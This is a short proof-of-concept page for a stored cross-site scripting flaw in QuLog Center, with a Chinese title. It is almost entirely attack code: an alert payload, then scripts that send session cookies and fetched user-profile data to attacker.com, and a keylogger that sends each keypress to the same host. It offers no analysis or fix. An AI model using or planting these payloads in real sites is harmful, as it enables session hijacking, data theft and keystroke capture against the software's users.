CVE-2025-54168: QuLog Center存储型跨站脚本漏洞

<!-- CVE-2025-54168 PoC: Stored XSS in QuLog Center --> <!-- Requires admin privileges to inject payload --> <!-- XSS Payload --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for data exfiltration --> <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?c=' + encodeURIComponent(cookies); </script> <!-- JSONP-based data theft --> <script> fetch('/api/user/profile') .then(r => r.json()) .then(data => { fetch('https://attacker.com/exfil?data=' + JSON.stringify(data)); }); </script> <!-- Keylogger payload --> <script> document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/klog?k=' + e.key; }); </script>